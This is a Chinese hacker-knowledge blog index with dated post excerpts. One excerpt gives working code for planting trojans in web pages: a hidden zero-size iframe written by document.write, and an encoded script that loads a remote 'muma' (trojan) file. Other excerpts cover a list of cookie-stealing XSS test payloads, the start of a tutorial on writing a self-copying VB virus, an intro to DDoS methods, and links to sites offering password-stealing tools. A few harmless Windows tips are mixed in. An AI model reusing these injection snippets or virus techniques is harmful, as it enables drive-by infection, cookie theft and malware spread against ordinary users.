黑客知识学习空间

文章列表

您正在查看 "黑客知识" 分类下的文章

2008-06-08 13:32

一:框架挂马

二:js文件挂马

首先将以下代码
document.write("<iframe width='0' height='0' src='地址'></iframe>");
保存为xxx.js，
则JS挂马代码为
<script language=javascript src=xxx.js></script>

三:js变形加密

<SCRIPT language="JScript.Encode" src=http://www.xxx.com/muma.txt></script>
muma.txt可改成任意后缀
四:body挂马

阅读全文>>

类别：黑客知识|评论(0) |浏览(3203)

大排挡天下黑客

2007-07-27 14:36

黑白网络 - 黑客工具下载基地，包括QQ密码,传奇木马，密码破解，黑客教程，间谍软件，扫描工具。
中国黑客网 - 我们来自五湖四海，为追求更高的网络技术而相聚。技术无止境，中国黑客网，技术永恒。
阿Q软件工作室 - 阿Q盗密者的发布网站，现在的版本是1.2，还有其它的酷软件等你下载。
安全的黑客 - 黑客软件，性感写真，技术文章，技术论坛。
安全资源 - 提供网络安全技术、系统漏洞、黑客教程、黑客动态、黑客档案以及软件下载等。
安全网络 - 中国冰点安全网络组织。
安全网

阅读全文>>

类别：黑客知识|评论(0) |浏览(175)

Windows操作系统必须禁止的十项服务

2007-07-27 14:27

1.NetMeeting Remote Desktop Sharing：允许受权的用户通过NetMeeting在网络上互相访问对方。这项服务对大多数个人用户并没有多大用处，况且服务的开启还会带来安全问题，因为上网时该服务会把用户名以明文形式发送到连接它的客户端，黑客的嗅探程序很容易就能探测到这些账户信息。

2.Universal Plug and Play Device Host：此服务是为通用的即插即用设备提供支持。这项

阅读全文>>

类别：黑客知识|评论(0) |浏览(114)

DDoS攻击原理以及常见方法

2007-07-27 13:51

本文主要介绍DDOS的机理和常见的实施方法。因前段时间仔细了解了TCP/IP协议以及RFC文档，有点心得。同时，文中有部分内容参考了Shaft的文章翻译而得。要想了解DOS攻击得实现机理，必须对TCP有一定的了解。所以，本文分为两部分，第一部分介绍一些实现DOS攻击相关的协议，第二部分则介绍DOS的常见方式。

阅读全文>>

类别：黑客知识|评论(0) |浏览(82)

Windows让你省力特殊的执行命令

2007-07-27 13:37

1. systeminfo：让XP列出更多有用信息

　　Windows XP 总是在炫耀它可以给稳定工作多么长的时间！要想详细地了解这一信息，你可以接入 Windows的“开始菜单”，再开启“附件菜单”中的“命令提示符”，然后在其中输入“systeminfo”这个命令。电脑就会给你显示出许多有用信息，其中包括了这个系统的初次安装时间，以及本次持续运行的时间。假如你想要保留这些信息，你可以输入“systeminfo >info.txt”，这将会创建一个名为“info.txt”文本文件，你可以稍后用Windows的记事本将其打开，进行查看。（仅限于Windows XP 专业版

阅读全文>>

类别：黑客知识|评论(0) |浏览(65)

XSS攻击测试语句大全

2007-07-27 13:33

><script>alert(document.cookie)</script>
='><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert(vulnerable)</script>
%3Cscript%3Ealert('XSS')%3C/script%3E
<script>alert('XSS')</script>
<img src="javascript:alert('XSS')">
%0a%0a<script>alert(\"Vulnerable\")</script>.jsp
%22%3cscript%3ealert(%2

阅读全文>>

类别：黑客知识|评论(0) |浏览(184)

什么是XSS攻击 XSS攻击详解

2007-07-27 13:29

总体介绍
简单介绍什么是XSS攻击
如何寻找XSS漏洞
对于XSS攻击的总体思路
来自内部的攻击:
如何寻找内部的XSS漏洞
如何构造攻击
如何利用
结何实例攻击，如DVBBS&BBSXP
来自外部的攻击
如何构造XSS攻击
如何欺骗管理员打开
XSS与其它技术的结何
与mssql injection的结合
QQ跨站的结何
国内大型统计网站的跨站漏洞
社会工程学

正文:
XSS总体介绍
什么是XSS攻击
XSS又叫CSS

阅读全文>>

类别：黑客知识|评论(0) |浏览(230)

VB编写病毒的方法

2007-07-27 13:26

感染主机

　　首先染毒文件运行后先要判断主机是否以感染病毒，也就是判断病毒主体文件是否存在，如果不存在则将病毒主体拷贝到指定位置(如：

　　将病毒文件拷贝到c:\windows\system\)，可用filecopy语句实现；如果病毒已感染主机则结束判断。

　　例如，判断C:\windows\system\Killer.exe是否存在，如果有则退出判断，如果没有则证明本机未感染病毒，立即拷入病毒文件。

　　病毒源文件名为game.exe。

　　声明部分：

""定义 FileExists% 函数
pu